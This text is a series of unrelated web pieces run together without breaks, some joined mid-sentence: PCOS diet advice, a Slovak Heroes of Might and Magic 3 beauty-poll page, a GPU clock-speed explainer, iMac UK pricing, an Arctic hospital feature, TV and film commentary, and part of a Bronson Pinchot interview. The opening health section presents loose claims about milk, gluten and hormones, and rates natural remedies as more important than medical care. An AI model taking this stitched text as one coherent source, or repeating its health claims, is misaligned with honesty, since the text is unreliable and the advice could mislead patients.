Patients suffering from PCO avoid the intake of saturated fat foods. Instead try lean meat, white meat and fat free dressings. Use steam food and meat instead of fried fatty food. “Consumption of milk has been linked to certain cases of male infertility. Excess estrogen and pesticide exposure has been linked to PCOS and Endometriosis. Studies have found higher concentrations of pesticides in cheese than in non-organically grown fruit and vegetables. The first line of naturopathic treatment I recommend for PCOS and Endometriosis is to minimize intake of animal products. Animal products have a high content of hormones, pesticides and herbicides which are known endocrine disruptor’s. They play havoc with your hormones and this can lead to anovulation.”
gluten, wheat, etc.“The medical literature has readily established a strong association between gluten sensitivity and hormonal issues, especially with progesterone. At its worst, gluten sensitivity can actually be an autoimmune disease called Celiac disease, a condition that is treated with absolute abstention from gluten (i.e.- can’t eat it EVER). Those who do not have celiac disease but are gluten sensitive do not have to be as careful, but should typically avoid gluten when possible. If you read many PCOS blogs, you may notice a huge amount of information about inflammation, fighting inflammation, how PCOS is caused by inflammation, how inflammation makes everything in your body go wrong. Well, no surprises here then. If you are gluten sensitive, every time you eat gluten, you cause inflammation in your body, which could contribute to lots of other disorders, heart disease, arthritis, diabetes. You get the picture. But the specific mechanism that links gluten and your hormones are in your adrenal glands. These little glands that sit above your kidneys and are responsible for your metabolism, keeping stress in check, and producing another hormone which is required to make progesterone, testosterone, and estrogen. Too much stress, the adrenals go in to overdrive and produce more cortisol to keep us going, and as a result, the sex hormones take a back seat. When we’re constantly inflamed, the adrenals read this as stress. Instead of making the good sex hormones, our adrenals are simply working to keep us alive pumping tons of cortisol (you’ve seen this commercial, the one claiming that cortisol causes belly fat—yep, it’s true). And to add insult to injury, the gluten not only messes with the hormone production in our bodies, it wreaks total havoc on our gut. Odds are good that in addition to being gluten intolerant, you’re also bit lactose intolerance, and any additional source of estrogen (dairy and soy) affects you way more than your non-gluten sensitive friends.”
According to a study reported in peer reviewed the FASEB Journal (14), a diet rich in pulses and low calorie grains can control the symptoms of PCOS. The study conducted on 25 females concluded:
“A pulse-based diet reduced body fat, and improved reproductive measures and serum lipid profiles. Thus, early diagnosis and dietary/exercise interventions are important in alleviating both the personal health and economic costs associated with PCOS”
In short, if you are suspecting polycystic ovaries, it is definitely recommended to seek medical help for accurate diagnosis of your health concerns but it is even more important to look for natural solutions to sort out your ailments. Herbal and nutritional supplements are effective in most cases of mild ovarian dysfunction and optimal regulation may ensure early return to hormonal symphony.Miss Antagarich 2016 AS (Round 1)
Miss Heroes of Might and Magic 3 (1. kolo)
Kráľ Gryphonheart na kráľovskom dvore hlavného mesta Erathie, Steadwicku usporadúva vôbec prvú súťaž krásy v Antagarichu – Miss Antagarich 2016 AS. Do Stedwicku sa už schádzajú hrdinky od AvLee až po Bracadu. Dokonca aj krajina nemŕtvych, Deyja, vyslala niekoľko účastníčok, Isra už je v pokročilom štádiu rozkladu. Iste si nájde fanúšikov (nekrofilov). Účasť odmietli iba dámy z ostrova Vori, je to pod ich úroveň. Porota má trochu problémy s hrdinkami z Tatalie, pri niektorých je veľmi ťažké určiť pohlavie. Najmenšie zastúpenie má ostrov Nighon, asi v podzemných tuneloch nevedeli nikoho iného nájsť. Jedno z najväčších zastúpení má samozrejme Erathia, zúčastňuje sa dokonca aj samotná kráľovná Catharine, hovorí sa že ak nevyhrá prvé kolo, zdvihne dane…
Prvého kola sa účastní 57 kandidátok na Miss. Z každej frakcie postupuje jedna, ktorá dostane najvyšší počet hlasov. V druhom kole ich teda zostane 9 a z nich bude vybraná tá pravá Miss Antagarich 2016 AS.
Miss Nighon (Dungeon) Lorelei (54%, 205 Votes)
Sephinroth (24%, 93 Votes)
Mutare (22%, 85 Votes) Total Voters: 383 Loading... Loading...
Z Nighonu sa stihli záčasniť len tri slečny, ostatné pravdepodobne zablúdili v podzemných tuneloch…
Miss Conflux Ignissa (30%, 130 Votes)
Ciele (24%, 102 Votes)
Labetha (20%, 87 Votes)
Brissa (13%, 55 Votes)
Luna (7%, 29 Votes)
Thunar (6%, 27 Votes) Total Voters: 402 Loading... Loading...
Samé od seba sa začali po celom Antagarichu objavovať mestá Sútoku a s nimi aj ďalšie kandidátky na Miss.
Miss AvLee (Rampart) Mephala (49%, 214 Votes)
Jenova (33%, 144 Votes)
Gem (12%, 52 Votes)
Melodia (4%, 16 Votes)
Kyrre (3%, 15 Votes) Total Voters: 413 Loading... Loading...
Z lesov AvLee prichádza až päť zástupkýň bojovať o Miss Antagarich.
Miss Bracada (Tower) Aine (27%, 116 Votes)
Daremyth (18%, 77 Votes)
Neela (16%, 66 Votes)
Rissa (14%, 59 Votes)
Josephine (12%, 52 Votes)
Cyra (8%, 36 Votes)
Iona (4%, 18 Votes) Total Voters: 401 Loading... Loading...
Zo snehom zaviatej Bracady sedem zástupkýň, nechýbajú ani magické bytosti v podobe džinov.
Miss Deyja (Necropolis) Vidomina (28%, 113 Votes)
Charna (24%, 99 Votes)
Tamika (19%, 77 Votes)
Isra (17%, 71 Votes)
Septienna (12%, 47 Votes) Total Voters: 388 Loading... Loading...
Aj Deyja poslala niekoľko zástupkýň, ktorá sa chcú stať Miss Antagarich, niektoré v rôznych fázach rozkladu…
Miss Eeofol (Inferno) Fiona (43%, 178 Votes)
Octavia (22%, 91 Votes)
Pyre (15%, 61 Votes)
Ash (12%, 48 Votes)
Nymus (4%, 18 Votes)
Olema (2%, 8 Votes)
Calid (2%, 7 Votes)
Marius (1%, 5 Votes) Total Voters: 383 Loading... Loading...
Aj pekelníci z Eeofolu majú zmysel pre krásu a tak vyslali až 8 zástupkýň. Podľa všetkého ak jedna z nich nevyhrá, spália celý Antagarich.
Miss Krewlod (Stronghold) Shiva (79%, 325 Votes)
Oris (17%, 69 Votes)
Gretchin (3%, 12 Votes)
Gird (1%, 4 Votes)
Gundula (1%, 4 Votes) Total Voters: 390 Loading... Loading...
Z pustatiny Krewlodu sa vynorilo hneď päť odvážnych kandidátok na Miss.
Miss Tatalia (Fortress) Adrienne (66%, 267 Votes)
Verdish (20%, 79 Votes)
Styg (3%, 13 Votes)
Voy (3%, 13 Votes)
Mirlanda (2%, 10 Votes)
Andra (2%, 7 Votes)
Merist (1%, 6 Votes)
Tiva (1%, 6 Votes)
Rosic (0%, 2 Votes) Total Voters: 382 Loading... Loading...
Hneď ako sa v Tatalii dozvedeli, že aj Krewlod sa zúčasňuje Miss Antagarich, okamžite vyslali svoje kandidátky.
Miss Erathia (Castle) Adelaide (49%, 219 Votes)
Catherine (16%, 70 Votes)
Tyris (13%, 58 Votes)
Adela (10%, 45 Votes)
Caitlin (4%, 18 Votes)
Sylvia (4%, 16 Votes)
Valeska (2%, 9 Votes)
Sanya (2%, 9 Votes)
Sorsha (2%, 7 Votes) Total Voters: 421 Loading... Loading...
Erathia ako najväčšie kráľovstvo Antagarichu posiela na Miss až deväť zástupkýň.
Female heroes of Heroes of Might and Magic 3, by BasakTinliWith Radeon Vega Frontier launch AMD introduced new terminology for GPU clock speeds. Although no one really asked AMD for new names, the reality is that they have slightly different meaning compared to competitor and previous generation.
GPU CLOCKS
The term base clock has been around for ages. In the past we had core clock, engine clock, graphics clock and GPU clock, all these terms meant the same thing. We also had something called Procesor Clock, which was basically Graphics Clock doubled for CUDA cores operation (more commonly known as Shaders Clock). However, the true revolution arrived with PowerTune Boost and GPU Boost.
The first iteration of NVIDIA’s GPU Boost was automatically adjusting clock speeds based on the power target. With GPU Boost 2.0 the focus was put on temperature target with fixed voltage points. The last iteration of GPU Boost 3.0 brought the manual voltage point regulation.
Since the introduction of boost clock, base clock became somewhat a minimum guaranteed clock, which means that the GPU frequency would never go lower during gaming or other intensive applications. Whereas the boost clock was the highest guaranteed clock speed your card could reach, but it was not guaranteed to stay at that frequency (for Radeon cards). Things have slightly changed for GPU Boost 2.0 and later 3.0 graphics cards.
For Pascal architecture boost clock is an underestimated frequency because chances are, you will never see such clock in games. The GPU Boost 3.0 introduced a new term called ‘theoretical max clock’ (you can find it on the slides). This clock is not part of the official specs, it exists because the actual clock speed will almost always be higher than official boost clock for Pascal cards. It’s also higher compared to cards based Maxwell architecture, which makes things slightly more confusing.
Meanwhile, AMD’s Polaris architecture officially has two terms, base clock and boost clock. The first one is guaranteed minimum clock, whereas the latter is the maximum guaranteed clock speed. So what is different from NVIDIA’s boost clock is that AMD’s boost block is often the maximum clock for the graphics card, something that NVIDIA is not even including in the official specs. AMD’s boost clock may not always stay at this frequency, but it will certainly not go higher.
The launch of Vega Frontier brought another two terms, which were never officially explained by AMD. We assume that typical engine clock is what we know as base clock. This means that the frequency should never go lower. Unlike Polaris, Vega’s peak engine clock is not the same as boost clock. Most Polaris cards have no problem reaching advertised boost clock, whereas Frontier has trouble reaching peak engine clock without the adjustment in power and temperature targets. Things may change with Radeon RX Vega which could theoretically reach higher frequencies, closer to peak engine clock. The actual clock speed may also be better for watercooled Frontier, but so far no one had the chance to test it.
So what you need to remember from this post is that NVIDIA’s boost clocks are almost always lower than actual clock speeds, while AMD’s boost clock is both maximum and often the typical clock speed your card will run at. Vega’s Peak Engine Clock is hardly achievable and should not be considered as boost clock (at least not yet). This is why calculating ‘theoretical maximum computing power’ makes no sense for boost/peak clocks, as they are lower for Pascal and overestimated for Vega.
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Please enable JavaScript to view the comments powered by Disqus.Though everyone was expecting the announcement of an iPad Air 2 and iPad mini 3, Apple’s update to its iMac line of desktop computers was less certain. However, the iMac line did end up getting a little love on Thursday morning in Cupertino, and now we have UK pricing for Apple’s updated workstation line.
Pricing for our friends in the United States starts at $2,499. Here in the UK, shoppers can expect to fork over £1,999 for the entry level model. This version boasts a 3.5 GHz quad-core Intel Core i5 processor (turbo boost up to 3.9 GHz) as well as, AMD Radeon R9 M290X graphics with 2GB of GDDR5, 8GB of RAM (2x4GB) and a 1TB Fusion Drive.
Of course, you can upgrade the guts of this machine as long as you’re willing to pay. This includes a bump to Intel’s 4.0 GHz Core i7 (turbo boost up to 4.4 GHz) for an additional £200 and as much as 32 GB of RAM. The top end model with the aforementioned Core i7 and 32 GB of RAM, along with an upgrade to the Radeon R9 M295X and 1 TB of flash storage, sees the price soar to more than £3,500.
If the prices don’t scare you away, you can order the Retina 5K iMac today. Shipping on Apple UK current indicates delivery in 3-5 days.Longyearbyen Hospital is the northernmost hospital in the world, located just 800 miles from the North Pole.
Watch: Polar bear attacks and darkness: inside a hospital at the top of the world
LONGYEARBYEN, Svalbard, Norway — How do you care for a polar bear bite? John Aksel Bilicz knows.
For more than 10 years, Bilicz has been hospital manager and head nurse at Longyearbyen Hospital, the northernmost hospital in the world located just 800 miles from the North Pole on the remote Norwegian archipelago of Svalbard. He has responded to everything from childbirth to polar bear attacks. His weathered skin reflects the harshness of living here, and a thick Norwegian accent colorfully describes his experiences.
“It’s easy to hurt oneself,” he said. “We have polar bears and sometimes they even come into town, so we have to carry a weapon as ice bear protection.”
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Bilicz still vividly remembers a phone call he got at the hospital in 2009. A man named Sebastian Nilssen had been dragged out of his tent, head-first, by a polar bear.
It took more than two hours to get to Nilssen — Bilicz said the man was “very far north” — but the staff at the hospital was able to treat him and he recovered fully.
The hospital was established after 1906, when American entrepreneur John Longyear set up the Arctic Coal Company, a mining operation for roughly 500 people.
“In the mining laws, it says that if you are running a mine, you must provide for a hospital,” Bilicz said. “You need a surgeon that can take care of accidents.”
The original building was burned by Russia during World War II, and the steps are the only part of the structure that remain, serving as the site of an annual ritual.
The town gathers at those ruins every March to celebrate the return of the sun, which sets for the last time on Oct. 25.
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After the war, a new hospital was built and its location moved several times. It is currently a large, yellow, industrial structure in the center of Longyearbyen, whose economy is moving away from coal and toward scientific research and arctic tourism.
In this exclusive STAT video, we take a look at this remote environment and inside the northernmost hospital in the world.When Marvel and Netflix first announced their new partnership that would bring us shows starring Daredevil, Jessica Jones, Luke Cage, and Iron Fist prior to them all teaming up to become what is known as The Defenders. We are already well on our way to seeing that become a reality with two seasons of Daredevil already being released with Charlie Cox starring, plus the first season of Jessica Jones which featured Kryten Ritter as the lead but also introduced us to Mike Colter as Luke Cage. His own series is set to debut in September and rumor has it, Finn Jones will make his debut as Iron Fist. The Iron Fist series is the only thing standing between us and The Defenders mini-series.
When the time comes, it will be interesting to see how all these heroes come together and work as a team. Season 2 of Daredevil dealt with Matt realizing he needs help protecting his city, but even though a second season of Jessica Jones has been ordered, we will not get to see Jessica make that adjustment before. Ritter recently spoke to the LA Times about season 1 of her show and the eventual team up, and she does not see the fit right now.
I’m really looking forward to it. I think Marvel is proving just over and over again that the quality is so high. I mean, I don’t know how Jessica fits into that world. I think we kind of all feel that way. Like, how do we all get together? How does that work? But I’m excited to see what they come up with.
There is no doubt in my mind that the writers will make her decision to join the team make sense for the character and that it will play directly into season 2 of the show as well. Ritter will be playing Jessica non-stop later this year with Defenders and season 2 possibly filming back to back, and this looks to be only the beginning of the road. She understands this and realizes how much this one role has changed her life.
The whole thing is just more than I could have ever imagined. Getting this part completely changed my life. It changed where I live and it changed the amount of promotion, the shooting. It’s changed everything.
The first season focused plenty on Jessica’s backstory, with there still being areas that could be explored moving forward. For Ritter, developing this backstory and basically living it out in her real life made the character even more special to play. It helped her tremendously to experience pieces of Jessica’s life in her own so that she could further understand the mentality that she would have. It was also nice to have Melissa Rosenberg and S.J. Clarkson around to help build Jessica.
That’s the exciting part for an actor. So getting a character with this incredibly rich back story — everything she does is informed by this back story — is really exciting, because I always knew where I was coming from. But it definitely takes a toll because I’m more bubbly and alive and zestful and I like to have a good time. So after a while, you’re like, “Oh my God, I’m getting really depressed.” And I just had to move across the country, so I’m in an apartment that doesn’t have my furniture. I’m not around my friends. I spent a lot of time walking around doing the scenes by myself in my apartment. All of that helped me find Jessica’s loneliness. Melissa and I have had a very open dialogue from the beginning. We also have a great director, S.J. Clarkson, who I always felt like was in it with me. She was the constant. I do have a lot of scenes where I’m all by myself, and so I would turn to her afterward and she would be the person I connected with.
Season one ended with Jessica making the difficult decision to kill Kilgrave with her bare hands. This was not an easy choice for her to make, and we will feel the repercussions in season 2, but it was definitely necessary for the character to be free from his grasp and for the show to move forward. Although it may have been difficult to kill another person, Ritter was all for it.
Around Episode 12, before I got the finale, I was like, she’s got to, she’s got to kill him. After Hope died, everything kind of shifted. For me, playing her, at the moment when Jessica kills him, she’s very conflicted because he was her purpose. It’s a little bit of a Stockholm syndrome thing. She’s almost become codependent on that relationship, but he’s just been so awful, and Jessica needs to kill him to get to that next step. I don’t know where she goes next emotionally, but I know in the moment when we were playing that scene, it was very difficult for me.
There is no word yet if Jessica will visit her old friend Luke come September, but it would be a surprise to me if that did not happen. Hopefully we do not have to wait until Defenders to see her again. Let us know how you think The Defenders should be formed and any other thoughts you have in the comments below!
Source: LA Times.It started with Susie Carmichael.
Like most children of the ’90s, I was obsessed with Rugrats and dragged my mother to see both feature lengths films in theaters. Now, I wasn’t a huge fan of Susie; she was too perfect, and although I didn’t realize it at the time, too manufactured. I much preferred the volatile and antagonistic Angelica. However, I remember sitting in the theater wondering, “Why isn’t Susie in the movie?”
The absence of her, and the lack of explanation as to why she wasn’t there, bothered me. It still does.
Despite living in the Cookie Lyon Dynasty of television, the reality is that for every Olivia Pope or Mary Jane Paul or Jessica Wong, there are dozens more characters who have been created to check off their diversity box.
Most of these actions are not done with malice but just a general lack of understanding that marginalized characters are not white characters done up. What makes characters like Jessica Wong from Fresh off the Boat so engaging is that she shows the similarities and differences between cultures that make each unique. The experiences of a immigrant family from Taiwan should not be the same as a WASP family from Connecticut.
Colorblind casting has been a huge perpetrator of this problem. Despite times where colorblind casting has worked, Hamilton being a shining example, it only works if once the characters become minorities, they are treated with the respect of their white counterparts.
Gwen from BBC’s Merlin was one of the only non-white people in Camelot, except for her own family and the odd bandit. While on paper, a race-bent version of Queen Guinevere sounds like an amazing step forward (plus Angel Coulby nailed it), the character was given less and less to do every season, and despite being the main love interest shared a total count of ZERO kiss scenes between herself and her (white) husband—even after being submerged in water. In a corset! TOGETHER!
Tara Thornton (True Blood), Bonnie Bennett (The Vampire Diaries), and Iris West (The Flash) are all portrayed by black actors despite being originally white, and in each adaptation, the character was given much less narrative importance. White Tara was married, owned a store, and didn’t spend season after season being abused only to die off screen. Book Bonnie had her own storyline, and she and Damon had a romantic relationship; show Bonnie spends most of her small-screen time in pain or in a plot box. Iris and Barry have one of the most iconic romances in DC comics, yet in the show, Iris is playing second romantic fiddle in this current season.
The most egregious example is Abbie Mills from Fox’s Sleepy Hollow. Much like Joan Watson from Elementary, there is a non-white female co-lead with a white male anchor by her side. While I do feel Elementary treats Joan as important, her family is only brought up in passing. An episode a season is not an accomplishment when Sherlock has had an entire season about the complex relationship between himself and his brother, and in the current season, his father. Abbie suffers from the same issues, except at least Joan can get a passing shout out to having friends. Despite the show taking place in Abbie’s hometown, her social and love life is nonexistent. Meanwhile, Crane gets to have three different love interests while Abbie lovers are still waiting for Abbie to get one kiss from a non-creepy dude. It is exhausting, especially because the writers claim to love these characters.
What writers fail to realize is that the tropes that apply to white female characters are not transferable to WOC. Being shown as soft, lovable, passive, and even weak is a radical thing when the prevailing mentality is that you are unbreakable—because we can break.
Years after my Rugrats phase, I watched Daria, and much like Rugrats, they had their own token black character, Jodie. However, there was one scene that I will always remember from S2E8, “Gifted.” Daria and Jodie have been invited to enroll in a school for gifted students, and Jodie gets a moment to explain why she is an overachiever:
“At home, I’m Jodie—I can say and do whatever feels right. But at school, I’m The Queen of the Negros, the perfect African-American teen, the role-model for all the other African-American teens at Lawndale. Oops! Where’d they go?”
It was one of the few times I saw myself in a character on a show that wasn’t “a black show.” Those moments are important, because they show that the writers can explore these characters and understand the place they occupy in the world. I love seeing Abbie, Joan, Kira from Teen Wolf, and other leading ladies of different races of television, but I wish I could see them be treated like full people. It is not the fans’ responsibility to create identities for these characters; it’s the writers’. Shonda can’t do it all, people!
Princess Weekes is a full-time writer, part-time Barista originally from Brooklyn, but camping out in Queens, NY. When she isn’t catching up on Netflix or stressing about student loans, she reads about dead white royality. She runs a small YouTube Channel under the username Melina Pendulum and hopes to someday finish that novel. Find her on Twitter or Youtube.
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Do you follow The Mary Sue on Twitter, Facebook, Tumblr, Pinterest, & Google +?Vulture’s fourth annual TV Awards honor the best in television from the past year in three major categories: Actor, Actress, and Show. The shows that were considered had to be ongoing, which disqualifies limited series and series that ended their runs in the past year. They also must have premiered before June 25, 2017.
Twenty-seven years ago, the meteor of Twin Peaks hit television. It didn’t wipe out all the dinosaurs, but it did make them aware that they were dinosaurs, and that itself was remarkable. Conventionally conceived and executed dramas would continue to be made after David Lynch and Mark Frost unveiled their series about the eccentric denizens of a logging town, but with awareness that there were fewer rules than anyone thought.
Viewers of a certain age, myself included, remember what it was like to be a movie buff back then. If you had an affinity for the unconventional, you resigned yourself to almost never finding it on TV, except for the occasional swaggering outlier like Miami Vice, Moonlighting, Roots, M*A*S*H, All in the Family, The Prisoner, Star Trek, or The Twilight Zone. Art happened in art houses, rarely in multiplexes, and certainly not on the tube. And then, lo and behold, there was Twin Peaks, a postmodern soap opera on a commercial broadcast network that fused satire, farce, ultraviolence, and melodrama; that sashayed through its story like Audrey Horne (Sherilyn Fenn) sway-dancing in her sweater, and pleated skirt; and that wrapped the whole thing up in a shroud of mysticism and spirituality that seemed as if it was kidding until you started to suspect that it wasn’t. This was a show with youth appeal, in which attractive teenagers worried about who was dating whom, but it was also a satire on corporate ethics (or their absence), a meditation on the meaning of images and the subjectivity of memory, and a story in which ordinary suburbanites could be possessed by murderous demons and an FBI agent could solve crimes by immersing himself in a red-velvet drape-lined dream world where dwarves danced, giants delivered prophecies, and everybody talked backward.
The magic couldn’t last, of course; it rarely does. Audiences deserted the show when it became clear the writers were putting off solving the central mystery of who murdered Laura Palmer. Lynch, Frost, and their collaborators finally wrapped things up midway through season two, then spun their wheels until the shocking finale, which saw FBI Special Agent Dale Cooper (Kyle MacLachlan) being trapped in the Black Lodge by BOB (the late Frank Silva), a creature who was either a demonic puppet master or an externalized representation of the evil lurking in every human heart (or both, or neither; the show never explained stuff like that). The original Peaks proved unable to sustain that initial burst of freshness — in part, or so the maybe-apocryphal story goes, because Lynch and Frost never expected the series to get renewed and had no idea how to keep it going after its central mystery had been solved.
But the series’ decline and quick death didn’t prevent it from being recognized as an aesthetic milestone, and future producers of offbeat television — including The X-Files’ Chris Carter, The Sopranos’ David Chase, Lost and The Leftovers’ Damon Lindelof, and Hannibal and American Gods showrunner Bryan Fuller — were so gobsmacked by the series that they determined to apply Peaks’ lessons to their own work. The most important takeaway was that adventurous audiences would not just be okay with seeing once-hallowed rules broken, they might actually look forward to seeing more shows give it a shot, because Peaks had given them a taste for fresh, strange, even puzzling entertainment. In terms of its aesthetic, if not always its storytelling, Twin Peaks was consistently one or two steps ahead of its audience. No matter how intimately you thought you’d become attuned to Lynch and Frost’s wavelength, there were still moments where you sat there gaping at the screen thinking, “What the hell did I just see, and what am I supposed to make of it?” And its corollary sentiment: “I had no idea you could do that on television.”
And now, as the giant once foretold: It is happening again. Twin Peaks: The Return — the Showtime reboot of the Lynch series — didn’t just exceed its progenitor’s what-the-fuck quotient right out of the gate; as it meanders through a series of daringly protected, often mysterious scenes, the show seems determined to destroy any preconceptions we had about what another Twin Peaks would look like, or even what post–Twin Peaks television could aspire to be. What Lynch and Frost are doing feels so new to TV that even showrunners whose triumphs are built on Lynchian foundations are in awe of it. At a Split Screens TV Festival event a few weeks ago, four episodes into the run of Twin Peaks: The Return, I asked David Chase if he was watching the new Peaks and whether he thought it was as good as the original. “I think it’s greater,” he said, with the uninflected certainty of a man noting that the sky is blue.
The sky is blue. Twin Peaks: The Return is a masterpiece. Books will eventually be devoted to explaining why this is; each will examine the series from a different, specific angle, and come to different conclusions about what it’s showing us and telling us. The series speaks in the language of dreams, and we interpret the sentences and pictograms differently depending on our life experience and worldview.
This is not what typically happens when you’re watching serialized television, where flights of fancy and moments of expressionism or abstraction tend to be carefully partitioned from “reality,” lest anyone get confused, or worse, frustrated. We don’t so much watch Twin Peaks: The Return as give ourselves over to the look and sound of it, as we might give ourselves over to a painting, a sculpture, or a piece of music.
The Case for Twin Peaks: The Return
1. The Opening Credits
The opening credits of Twin Peaks: The Return represents the show’s aesthetic in microcosm. It employs a remixed, reorchestrated version of Angelo Badalamenti’s classic theme and revisits some of the same images familiar from the original Peaks credits, including the forested Washington mountains and waterfalls, while also incorporating elements familiar from the original show that never appeared in the credits, such as the swirling closeup of the zig-zag-patterned floor in the Red Room and tight shots of the famous red drapes. What’s happening here is not merely a revisitation of Peaks imagery, but a reframing of it.
Lynch and Frost’s integration of the old cast with new characters furthers the idea of the old being subsumed into the new: They’re marginalized to some extent, in ways that might irritate viewers who wanted something close to the original series, but not obliterated. The new cast members — including Naomi Watts as Janey-E Jones, Amanda Seyfried as Shelly Johnston’s daughter, Becky, and Michael Cera as Lucy and Andy Brennan’s son, Wally Brando (at once the worst and greatest Brando impersonator of all time) — don’t fit and yet at the same time they do, perfectly. Age and mortality and the passing of generations is part of the fabric of the series, never more touchingly than when we’re watching actors (including Miguel Ferrer as Albert Rosenfield and Catherine Coulson as Margaret the Log Lady*) who died before the new series was finished.
The familiar signposts in the credits, such as the waterfalls and the mountains, are photographed from new angles, often vertigo-inducing ones, and overlaid with Red Room imagery that swirls and shimmies, creating a psychological effect akin to a hypnotist swinging a pocket watch before your eyes. This is the first of many great examples of Twin Peaks: The Return knowing what it is and what it wants to do, and encoding that knowledge within the show itself. Right away, the show tells you that it’s going to show you the familiar things from strange new angles, and not always when you expect, or in the manner that you expect them. As Jeff Wiser pointed out in a Vulture piece that focused on the show’s use of Badalamenti’s score, Twin Peaks: The Return keeps playing with the viewers’ wants, teasing us |
-to-earth person. I don’t know how he does that. I first met him when he was doing his spate of not-successful movies. There was a period in the ’80s when he did The Man With One Red Shoe and Joe Versus The Volcano and all those movies that weren’t doing well, and that’s when I first met him, and I would run into him on and off over the years. Then two years ago, I did a play with his wife, and there he was at his absolute height. He’s always been a delightful person, so it’s not really true that big stars need to be driven and repulsive, because he’s anything but.
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Beverly Hills Cop (1984)—“Serge”
BP: I almost didn’t do the movie, because my girlfriend and I had tickets to go to Florence, and they kept pushing the date back of when they were going to shoot it. Not having a crystal ball and not knowing what was going to happen with it, I said, “If you don’t shoot it before next Wednesday, I’m not doing it. We’ve got tickets to Florence, and I’m not not going to Florence.” I didn’t have any money, I was nobody, and I was just kidding around and having fun, and it came out, and people were following me around and shrieking and taking pictures, acting like I was a big deal. I didn’t have any concept of what the hell was going on. But basically, it was a couple of days, fooling around, having fun. I almost didn’t do it.
Beverly Hills Cop 3 (1995)—“Serge”
BP: That was a lifetime later. Beverly Hills Cop opened up a whole world. I got the television show and movies, and I would go sign autographs for one hour and get paid $25,000. I had bodyguards and police barricades, and I had that whole life from 1985 to about 1992, ’93. Eddie was going through his period at the time of doing movies that were not hits, and he was very low-spirited, low-energy. I said to him, “All anyone ever wants to know when they meet me is what you’re like.” And he said, “I bet they don’t ask that anymore.” And then when we did a scene, we were shooting, and he was so low-energy that John Landis sent him upstairs and said, “Just rest, Eddie, and I’ll do the scene with Bronson.” So whenever you see my face in the movie, I’m not really talking to Eddie, I’m talking to John Landis. And I can understand it—he was just having a bad stretch. And that stretch lasted… When did Dr. Dolittle come out? I think his funk really did last until then. I don’t know what started the funk, but it lasted a chunk of time, and that was in the belly of the funk, and he was just really sad and low-energy and I basically did the scene without him there.
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AVC: Was that distracting for you?
BP: No, that stuff happens all the time in movies. Somebody needs to get their hair redone, or a camera angle makes it impossible to get the person on the spot, it’s not uncommon. They described it to me as, “It’s better to have a lively pair of eyes to talk to, as opposed to a person who doesn’t want to be there.”
AVC: Eddie Murphy reportedly said after Coming To America that John Landis had a better chance of working with Vic Morrow again than with him. Was there tension between the two?
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BP: No, there wasn’t at all. John is a really sweet guy, he’s a mensch. It was just at the time, Eddie was really depressed, and that’s not unusual for actors. It’s very easy to get depressed and to lose your way, it really is. So John was very nurturing. And everyone in show business makes these sweeping, “I’ll never work with so-and-so again,” because that’s the way you feel at the moment. It’s a business where there really is no point in ever saying never. There are people I’ve sworn that I would never go near again, and then you see an interesting role that would put you opposite that person and you think, “Well, we’ll work together, maybe they were having a bad year.”
After Hours (1985)—“Lloyd”
AVC: In 1985, you were in one of my favorite movies of all time, After Hours.
BP: That’s one of your favorite movies? I forgot I was even in that movie! I’ll tell you my funny story about that movie—there had been an extra, a beautiful woman who was a background player on The Flamingo Kid who was just sensational, but more than that, she was one of the wittiest people I had ever met, sharp as a tack. So we shot that movie in ’83, and I had a crush on her, because she was so smart and fucking beautiful, and I love that combination. They don’t often happen together.
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Then one day, I was standing at the elevator in my building in New York, and there she was, and we realized that we lived in the same building. So we had this big affair—we were both with different people—and I went to the Caribbean to make a movie, and I started seeing somebody else, and she went back to her boyfriend, and I never saw her again, until the day I showed up for work on After Hours. There she was as a background player, staring at me—not in a good way. She was staring at me in the “Why didn’t you leave your girlfriend for me?” way. And I was doing the scene, and they didn’t have a good budget, so Scorsese takes me aside and says, “I don’t know why you’re playing this character so nervously, but I don’t want you to have that quality.” I said, “Then you need to move that background player over there, because I hooked up with her last year, and she’s staring at me,” and he said “Oh, okay!”
AVC: So that’s your big memory of working with Martin Scorsese?
BP: Yeah! He was really desperate to get the shot, and he called me into this cubicle and said, “We don’t have a lot of time to do a lot of takes, I don’t like this quality. Why are you doing that?” Actually, what he said to me was, “You’ve got this naturally vulnerable quality, so anything you add on top of that is too much.” I said, “I’m not doing it on purpose!” But actually, that was an incredibly astute thing to say, and I’ve noticed it in other movies, especially when I’m in super close-up. I’ve remembered his words years later, because I thought, “If I’m supposed to play vulnerability and if I do zero, it comes across as very transparent.” So he of course was right.
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Flamingo Kid (1984)—“Alfred Schultz”
BP: Yeah, that’s the movie where I met the extra. So here’s my story about that: Janet Jones was in it, and she was a model, and Matt [Dillon] was in it, and Matt was from the school of acting—and I was, too—where if all else fails, just talk to the other person. Forget about trying to get some complex thing about character going, just talk. The basic thing is, just make sure you are talking to the person and making the event happen. And Janet didn’t know the lingo of acting, so one day we were shooting in the van on the way back to New York, and she was crying, and I said “What’s wrong, Janet?” And she said [Adopts ditzy voice.] “Matt never talks to me, and when we were shooting those scenes, and the camera was rolling, he said, ‘Just talk to me,’ and I didn’t understand why he wanted to talk right then!” Bless her heart. I told her that in acting lingo, that just means to get real and talk to the person, it didn’t mean that he wanted to have a conversation.
AVC: Didn’t she go on to marry Wayne Gretzky?
BP: Yeah. Probably not a bad life! And she was a deeply sweet person. The thing people forget is that when someone comes from a non-acting world, they don’t deserve ridicule, they deserve help. Sometimes they flower and they know what to do, like Marilyn Monroe—she was the cheesecake girl that was thrust into it, and she had the brains to go to someone and say, “Get me in an acting class and show me what to do.”
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Sara (1985)—“Dennis Kemper”
BP: That was a tough show, and I’ll tell you why. I had been offered that role, and then when we were shooting it, Beverly Hills Cop came out, and I was immensely hot all of a sudden. And there I was playing fourth banana in this TV show, and that didn’t go down too well, because when they would come to do stories about the show, they would focus on me, and that was awkward. It was the beginning of many awkward periods in my life where it’s like, “Look, I’m sorry—I didn’t tell them to come do a story on me, I can’t control it.” It was awkward, because it wasn’t in the right pecking order.
Number two, the interesting thing with that show was… There was going to be a black lawyer—because of course, don’t we all know that “black” is a character—there was going to be a chauvinist lawyer, there was going to be a gay lawyer, and then there was going to be the Mary Tyler Moore character that Geena Davis played. And at the time I auditioned for that show, I had so little money that someone had given me a gift basket for Christmas, and I would limit myself to two slices of the apple and a bite of cheese every day. That’s how poor I was. So I went in, and they were so afraid that nobody would want to do the gay lawyer that they didn’t even show us the script. It was 1984! So they said, “Well, we just want somebody likeable, and here’s your line, say this line,” and I do the line, and they gave me the part. Then I saw the script, and it was like, now he’s the gay lawyer. And I said, “Fine, I could care less!”
